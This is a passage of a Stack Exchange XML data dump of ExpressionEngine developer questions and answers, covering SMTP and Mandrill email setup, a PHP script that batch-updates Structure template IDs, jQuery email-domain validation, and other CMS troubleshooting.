&quot;587&quot;;&lt;/code&gt; to my config file so EE could use port 587 to connect to Mandrill. I'm not sure if it's a MT server configuration thing but I got errors when I didn't add this hidden config variable. Since I'm using Escort I'm not entirely sure all these settings are even relevant but I recommend making your life easier and use this add-on. For Mandrill all you need to do is add your API key and check the box next to the service. You can add multiple services and set them in an order of preference to handle fail overs but I only have a Mandrill account so that's all I setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good, so in short, Mandrill account + EE Email configuration settings with Mandrill credentials + hidden config variable for port 587 + Escort add-on worked perfectly. This will be the starting point for any future contact forms I have to submit through an Exchange Server or other SMTP server that doesn't allow PHP Mail or SendMail.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-11-13T17:29:46.193" Title="Having SMTP email issues" Tags="|email|solspace-freeform|smtp|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5987" PostTypeId="2" ParentId="5873" CreationDate="2013-02-07T17:23:07.273" Score="1" Body="&lt;p&gt;Yo can also rename images using Assets 2. &lt;img src=&quot;https://i.stack.imgur.com/YISI6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The muffins were delicious. ;) )&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-07T17:23:07.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5988" PostTypeId="2" ParentId="5986" CreationDate="2013-02-07T17:29:38.870" Score="1" Body="&lt;p&gt;Two suggestions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/email_configuration.html#enable-email-debugging&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Enable Email Debugging&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When this option is enabled, detailed messages will be displayed whenever you send an email using the Communicate page. This information can be useful in helping to track down any problems you may be experiencing. If you are having difficulty sending email you are encouraged to enable this option.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then sent test messages from the Communicate page to see the debugging details.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Try setting the port to 26 which the ISP may have enabled instead of 25. You can always check settings in Outlook or another email software too to confirm they are working correctly outside EE.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-07T17:29:38.870" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5989" PostTypeId="2" ParentId="5984" CreationDate="2013-02-07T17:32:04.110" Score="3" Body="&lt;p&gt;I suggest copy/pasting the serialized array from the &lt;code&gt;site_pages&lt;/code&gt; column and using an &lt;a href=&quot;http://blog.tanist.co.uk/files/unserialize/index.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;online generator&lt;/strong&gt;&lt;/a&gt; to unserialize it. Then copy the unserialized array over to a text editor to find/replace the old &lt;code&gt;template_id&lt;/code&gt; with the new the &lt;code&gt;template_id&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The array contains a URI array &amp;amp; Template array. The template array is the last array. So look for &lt;code&gt;[1] =&amp;gt; 4&lt;/code&gt; which is &lt;code&gt;[entry_id] =&amp;gt; template_id&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would do a find and replace just for &lt;code&gt;template_id&lt;/code&gt;: &lt;code&gt;=&amp;gt; 5&lt;/code&gt; to &lt;code&gt;=&amp;gt; XX&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as serializing the array, I haven't found a online generator to make it easy. You may just need to create a template and enable PHP to serialize it for you, then copy/paste it back into the &lt;code&gt;site_pages&lt;/code&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always backup first!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I just found this script to &lt;a href=&quot;https://structure.tenderapp.com/discussions/problems/414-need-to-batch-change-entry-template-association&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;batch update entries&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2nd Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Added the two lines of code for the updating the old template id with the new. Should save a couple clicks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;* Batch reset template_id for Structure entries&#xA;*/&#xA;&#xA;$str = base64_decode(&quot;PASTE-VALUE-FROM_site_pages_FIELD-HERE&quot;);&#xA;$arr = unserialize ($str);&#xA;$old_template_id = PASTE-OLD-TEMPLATE-ID-HERE; //e.g. 3;&#xA;$new_template_id = PASTE-NEW-TEPLATE-ID-HERE;//e.g. 24;&#xA;&#xA;// Set new template_id&#xA;foreach( $arr[1]['templates'] as $key =&amp;gt; $template_id )&#xA;{&#xA;   if ($template_id == $old_template_id)        &#xA;      $arr[1]['templates'][$key] = $new_template_id;&#xA;}&#xA;&#xA;// Output&#xA;print '&amp;lt;pre&amp;gt;';&#xA;print_r($arr);&#xA;print '&amp;lt;/pre&amp;gt;';&#xA;&#xA;// Serialize &amp;amp; encode&#xA;$new_arr = serialize($arr);&#xA;$new_str = base64_encode($new_arr);&#xA;&#xA;// Output for copy/paste&#xA;print &quot;&amp;lt;textarea rows='100' cols='80'&amp;gt;&quot;;&#xA;print $new_str;&#xA;print &quot;&amp;lt;/textarea&amp;gt;&quot;;&#xA;&#xA;exit;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-07T19:32:36.807" LastActivityDate="2013-02-07T19:32:36.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5990" PostTypeId="2" ParentId="5299" CreationDate="2013-02-07T17:36:12.143" Score="2" Body="&lt;p&gt;This has been accepted by EllisLab as a bug: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19157&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19157&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-07T17:36:12.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5992" PostTypeId="2" ParentId="5566" CreationDate="2013-02-07T17:49:42.353" Score="0" Body="&lt;p&gt;Try changing &lt;code&gt;result_page=&quot;search/results&quot;&lt;/code&gt; to &lt;code&gt;result_page=&quot;/search/results&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-07T17:49:42.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5993" PostTypeId="2" ParentId="5802" CreationDate="2013-02-07T17:53:27.570" Score="1" Body="&lt;p&gt;My first suggestion would be to start your migration over. Move files and database freshly since things did work when you first moved over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then before you log into the CP on the production server, clear your browser cache and cookies, then add this to your config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-07T17:53:27.570" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="5994" PostTypeId="1" AcceptedAnswerId="6046" CreationDate="2013-02-07T17:58:36.060" Score="2" ViewCount="1030" Body="&lt;p&gt;I'm trying to verify a Freemember registration form email input using jQuery to check for a specific domain. Below is the jQuery I'm using, ultimately my goal is to prevent the form from being submitted unless they are an example.org email address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      $(document).ready(function() { &#xA;      $('form#example-register input#register').submit(function() {  &#xA;&#xA;                $(&quot;.error&quot;).hide();&#xA;                var hasError = false;&#xA;                var emailReg = /^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/;&#xA;                var emailLegalReg =  /^([\w-\.]+@(?!example.org)([\w-]+\.)+[\w-]{2,4})?$/;&#xA;&#xA;                var emailaddressVal = $(&quot;input#email&quot;).val();&#xA;                if(emailaddressVal == '') {&#xA;                    $(&quot;input#email&quot;).after('&amp;lt;span class=&quot;error&quot;&amp;gt;Please enter your email address.&amp;lt;/span&amp;gt;');&#xA;                    hasError = true;&#xA;                } else if(!emailReg.test(emailaddressVal)) {    &#xA;                    $(&quot;input#email&quot;).after('&amp;lt;span class=&quot;error&quot;&amp;gt;Enter a valid email address.&amp;lt;/span&amp;gt;');&#xA;                    hasError = true;&#xA;                } else if(emailLegalReg.test(emailaddressVal)) {    &#xA;                    $(&quot;input#email&quot;).after('&amp;lt;span class=&quot;error&quot;&amp;gt;No eamil other than example.org.&amp;lt;/span&amp;gt;');&#xA;                    hasError = true;&#xA;                } &#xA;&#xA;                if(hasError == true) { return false; }&#xA;                else {&#xA;                    $(&quot;input#email&quot;).after('');&#xA;                    return false;&#xA;                }&#xA;    });    &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the template code for the Freemember registration form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {embed=&quot;included/html_head&quot;}&#xA;    {embed=&quot;included/page_header&quot;}&#xA;         &amp;lt;div id=&quot;content&quot; class=&quot;register&quot;&amp;gt;&#xA;         {if logged_out}&#xA;            &amp;lt;h1&amp;gt;Registration&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;p&amp;gt;Fill out the form below to register, once submitted your account will have to be approved the Administrator.&amp;lt;/p&amp;gt;&#xA;         {/if}&#xA;            &amp;lt;div id=&quot;login-form&quot;&amp;gt;&#xA;&#xA;            {exp:freemember:register return=&quot;/example/&quot; form_id=&quot;example-register&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;                    &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;                    {field:email}&#xA;                    {error:email}&amp;lt;span class=&quot;error&quot; style=&quot;display: none;&quot;&amp;gt;You must register using an example.org email address.&amp;lt;/span&amp;gt;&#xA;&#xA;                    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                    {field:password}&#xA;                    {error:password}&#xA;&#xA;                    &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;                    {field:password_confirm}&#xA;                    {error:password_confirm}&#xA;&#xA;                    &amp;lt;input type=&quot;submit&quot; value=&quot;&quot; class=&quot;register&quot; /&amp;gt;&#xA;&#xA;            {/exp:freemember:register}&#xA;            &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;   {embed=&quot;included/page_footer&quot;}&#xA;   {embed=&quot;included/html_footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="729" LastActivityDate="2013-02-08T15:10:18.487" Title="Freemember email validation for specific domain using jQuery" Tags="|ee2|jquery|validation|freemember|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5995" PostTypeId="2" ParentId="5863" CreationDate="2013-02-07T17:59:22.190" Score="1" Body="&lt;p&gt;Sounds like you want to customize the system message look and feel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit the native &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/message_pages/index.html#user-message-template&quot; rel=&quot;nofollow&quot;&gt;User Message Template&lt;/a&gt;&lt;/strong&gt; in EE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Message&lt;/a&gt;&lt;/strong&gt; addon which gives you a ton more control.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-07T17:59:22.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5996" PostTypeId="2" ParentId="5874" CreationDate="2013-02-07T18:01:23.617" Score="1" Body="&lt;p&gt;If you want animation for the pagination, you should use jQuery. Here are &lt;strong&gt;&lt;a href=&quot;http://www.jquery4u.com/plugins/10-jquery-pagination-plugins/&quot; rel=&quot;nofollow&quot;&gt;10 jQuery Pagination Plugins&lt;/a&gt;&lt;/strong&gt; to look at.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-07T18:01:23.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5997" PostTypeId="1" AcceptedAnswerId="6009" CreationDate="2013-02-07T18:08:55.130" Score="1" ViewCount="126" Body="&lt;p&gt;I am currently extending an ExpressionEngine site to include a membership system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find a way to allow parents to purchase memberships for their children, ideally multiple children in one transaction. It is for a sports park where the target age group is 6-16.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are currently using CartThrhob for simple transactions for booking an individual session, so it would be good to make use of this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have looked at Membrr however it doesn't look like you can purchase on behalf of another person. I suppose in a way it is like a gift membership system with a cart for mulitple memberships. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone achieved this type of system? Or can point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic seems straightforward but can't quite work out the best approach with EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Martyn&lt;/p&gt;&#xA;" OwnerUserId="964" LastEditorUserId="293" LastEditDate="2013-02-07T20:40:53.407" LastActivityDate="2013-04-08T23:07:05.643" Title="Membership system - parents purchasing for children" Tags="|members|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5998" PostTypeId="2" ParentId="5940" CreationDate="2013-02-07T18:11:16.363" Score="1" Body="&lt;p&gt;Take a look at this &lt;a href=&quot;https://stackoverflow.com/a/8818047/135935&quot;&gt;&lt;strong&gt;answer on StackOverflow&lt;/strong&gt;&lt;/a&gt; which details how to accomplish nested  using jQuery.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-02-07T18:11:16.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5999" PostTypeId="2" ParentId="5688" CreationDate="2013-02-07T18:12:44.850" Score="1" Body="&lt;p&gt;Ended up sorting this out...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through a combination of an add-on update and what turned out to be my misreading of some of the documentation. Completely missed defining the Link Vault custom fields to be able to specify them in the Matrix rows in the first place... So this one was definitely user error.&lt;/p&gt;&#xA;" OwnerUserId="523" LastActivityDate="2013-02-07T18:12:44.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6001" PostTypeId="2" ParentId="5963" CreationDate="2013-02-07T18:24:44.657" Score="0" Body="&lt;p&gt;As Mike mentions above check permissions as that can be the main problem here. The only other thing I can think of would be some erroneous white space at the end of a closing &lt;strong&gt;?&gt;&lt;/strong&gt; PHP tag in one (or possibly more) of the modules files. That could also cause the problem.&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2013-02-07T18:24:44.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6002" PostTypeId="2" ParentId="5984" CreationDate="2013-02-07T18:28:58.550" Score="6" Body="&lt;p&gt;We also provide this script in the docs: &lt;a href=&quot;http://buildwithstructure.com/documentation/how_can_i_batch_update_templates_for_existing_entries/&quot;&gt;http://buildwithstructure.com/documentation/how_can_i_batch_update_templates_for_existing_entries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-02-07T18:28:58.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6003" PostTypeId="1" CreationDate="2013-02-07T18:48:25.487" Score="0" ViewCount="406" Body="&lt;p&gt;I have a simple search set up to search for the submitted term across two channels. This works and the correct results are shown in my search results page. However, the &quot;excerpt&quot; field for only one of the channels works. For results from the second channel, the excerpt field is always blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up the respective &quot;summary&quot; field from each channel as the excerpt field -- one is called &quot;summary&quot; and the other channel is &quot;rick_summary&quot;. Stuff in the &quot;summary&quot; field from the first channel renders, nothing renders from the &quot;rick_summary&quot; field even though the rest of the row is populated with the post title, author, comments, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't figure out how to post the template, markdown gets all screwed up...&lt;/p&gt;&#xA;" OwnerUserId="881" LastEditorUserId="881" LastEditDate="2013-02-07T19:14:11.090" LastActivityDate="2013-03-01T03:02:23.333" Title="Excerpt field in search results not rendering" Tags="|simple-search|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6005" PostTypeId="2" ParentId="6003" CreationDate="2013-02-07T19:56:45.073" Score="1" Body="&lt;p&gt;In another post where I mentioned this problem, it was suggested that I use custom_fields and the EEHive plugin eehive_hacksaw to limit words on my summary fields. This works great and also solve formatting issues with the customer field contents. I just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;td class=&quot;{switch}&quot; width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;&#xA; {if summary!=&quot;&quot;}{exp:eehive_hacksaw words=&quot;25&quot;}{summary}{/exp:eehive_hacksaw}{/if}&#xA; {if rick_summary!=&quot;&quot;}{exp:eehive_hacksaw words=&quot;25&quot;}{rick_summary}{/exp:eehive_hacksaw}         {/if}&#xA; &amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="881" LastActivityDate="2013-02-07T19:56:45.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6006" PostTypeId="2" ParentId="5986" CreationDate="2013-02-07T20:00:12.467" Score="5" Body="&lt;p&gt;I'm going to suggestion bypassing the companies setting all together. This is partially to avoid troubleshooting them (if it's the EE install, you'll run into the same issues with my suggestion), but mostly because I've become a big fan of monitoring &lt;a href=&quot;http://litmus.com/blog/transactional-emails-a-frequently-missed-opportunity&quot; rel=&quot;nofollow noreferrer&quot;&gt;transactional email&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We work with nonprofits, but I still agree that the missed opportunity is there. But additionally, there are a number of great services now that allow you track and visualize, your transactional emails. I personally love and use, &lt;a href=&quot;http://mandrill.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mandrill&lt;/a&gt; by those monkeys at MailChimp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your transactional email volume is under 12,000 per month, the service is free. Though its highly likely, that you have no way of knowing of what your transactional volume is, because most people don't measure it. It's just a black hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make Notification, Confirmations, and other Transaction Useful&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhfo4.png&quot; alt=&quot;Mandrill Transaction Overview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above image is just an overview transaction graph from Mandrill. What transaction email is, really kicked in for me, when someone asked me&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can you tell me how many notification emails EE2 sends and how frequently the bounce?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My response was a big fat, &lt;strong&gt;&quot;NO&quot;&lt;/strong&gt;. But then I started making estimates. Turns out, my estimates were way off. I thought around 5,000 transaction per month. That chart above, is a week shy of a full 30 days. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You select any vendor you want, Mandrill, PostMark, Sendgrid, etc. But here's what Mandrill can do for you in your current SMTP situation. You need to figure out:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is the problem the SMTP send set-up?; or&lt;/li&gt;&#xA;&lt;li&gt;Is the problem Outlook?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Create an account on Mandrill. This takes maybe 5 minutes. It will provide you with SMPT authentication data. The username will be the company email address you used to start the account and they will provide a secure password. Complete the set-up, then trigger a system email. Setup a new member account, that uses your email address or if your on gmail you could do username+mandrill@gmail.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the mail sends, you can see it in Mandrill and then hopeful at the same time in your Inbox. That means Outlook configuration was the issue. If you get no love, then its likely that somethings wrong with the SMTP services. The company have ports blocked or some other issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beauty of this as a troubleshooting method is, well you end up with Mandrill configured and tracking all your EE2 generate email. You can see bounces, spam reports, and other issues. Since using it, we've helped clients improve the email messages, focus on reducing registration spam, and more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the worse, your client has over 12,000 transactional emails per month and refuses to pay $9.95 per month for up to 40k transactions. You know Outlook is the issue and can focus on that.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-07T20:00:12.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6007" PostTypeId="2" ParentId="5982" CreationDate="2013-02-07T20:02:58.503" Score="5" Body="&lt;p&gt;We keep all of our downloadable files above web root, so they're not directly accessible, similar to this setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/public_html&#xA;/system&#xA;/files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course, we use &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot;&gt;Link Vault&lt;/a&gt; to obfuscate, protect against hot linking, and track the downloads.&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-02-07T20:02:58.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6009" PostTypeId="2" ParentId="5997" CreationDate="2013-02-07T20:11:48.153" Score="1" Body="&lt;p&gt;I think what you need is simply some system that would allow &quot;one-to-many&quot; parent-child relations between members. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Provile:Edit&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, then &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; would work great for that (there are other add-ons that you might find satisfactory, some of them are much cheaper or free).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using only native EE membership system, then you probably need to develop usch addon yourself. Or perhaps use an affiliate system, such as &lt;a href=&quot;http://devot-ee.com/add-ons/affiliate-plus&quot; rel=&quot;nofollow&quot;&gt;Affiliate +&lt;/a&gt;, but you will also need custom code to query database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, set up your templates in a way that children could access files that relate to their parents purchases. (You don't probably want to give access to full purchase information, such as invoices, but only actual downloads/tickets, or whatever you are selling)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-07T20:11:48.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6012" PostTypeId="2" ParentId="5919" CreationDate="2013-02-07T21:05:48.727" Score="0" Body="&lt;p&gt;As I understand it, this is not possible with &lt;code&gt;git-subtree&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the code example from the &lt;a href=&quot;http://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html&quot; rel=&quot;nofollow&quot;&gt;kernel.org docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git remote add -f Bproject /path/to/B&#xA;$ git merge -s ours --no-commit Bproject/master&#xA;$ git read-tree --prefix=dir-B/ -u Bproject/master&#xA;$ git commit -m &quot;Merge B project as our subdirectory&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;read-tree&lt;/code&gt; command on line 3 you can only set a single &lt;code&gt;--prefix&lt;/code&gt; value (which is where we set the subdirectory of the man project to target for the subtree merge).  What you describe would require multiple values with some way to match subtree paths to main project paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do feel your pain with this issue - I've hit the same problem with both client builds using 3rd party addons and with building addons myself. I don't think it's a solved problem so I'd love to hear what you come up with!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, I've not had issues with checking in symlinks, but then I don't work outside of a mac + Linux environment. &lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2013-02-07T21:05:48.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6014" PostTypeId="1" AcceptedAnswerId="6024" CreationDate="2013-02-07T22:02:31.793" Score="1" ViewCount="111" Body="&lt;p&gt;I've just started using GWCode Categories for the first time, and have seen it oft-cited as a go-to solution here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to rely on nested output for navigation, but I need classes on the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; (similar to Structure's output). I see that there are variables to check for &quot;has children&quot; and I could compare cat_url_title to my segment vars to get the &quot;here&quot; status, but I don't see a way to get those onto the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are those sorts of classes supported on the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; and I'm missing something? Or is there a way to get nested output and write my own &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-08T05:31:33.337" Title="Classes on list items with GWCode Categories" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6015" PostTypeId="1" CreationDate="2013-02-07T22:03:15.627" Score="1" ViewCount="425" Body="&lt;p&gt;When attempting to logout using the freemember logout URL tag the page is re-directing to a blank page with the desired url path output: &lt;a href=&quot;https://www.site-name.com/?ACT=56&amp;amp;return_url=%2F&quot; rel=&quot;nofollow&quot;&gt;https://www.site-name.com/?ACT=56&amp;amp;return_url=%2F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried other paths, that is other than redirecting to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2013-02-09T05:19:03.853" Title="FreeMember - logout tag redirecting to a blank page" Tags="|freemember|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6016" PostTypeId="2" ParentId="6015" CreationDate="2013-02-07T22:05:47.297" Score="0" Body="&lt;p&gt;Are you using the {exp:freemember:logout_url} trying setting return=&quot;example/page&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:logout_url return=&quot;example/page&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="729" LastActivityDate="2013-02-07T22:05:47.297" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6017" PostTypeId="2" ParentId="6003" CreationDate="2013-02-07T22:17:07.057" Score="0" Body="&lt;p&gt;You may also want to try using CE String (&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-string&lt;/a&gt;) to achieve the same goal. I had issues with Hacksaw not properly closing tags, and found for the cost I could do a lot more with CE String.&lt;/p&gt;&#xA;" OwnerUserId="729" LastActivityDate="2013-02-07T22:17:07.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6018" PostTypeId="2" ParentId="5941" CreationDate="2013-02-07T22:55:11.737" Score="2" Body="&lt;p&gt;I'm not totally sure, but I think the longitude and latitude parameters are looking for the field name, and not the field value. Try removing the curly brackets around those two fields and see if it works.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-02-07T22:55:11.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
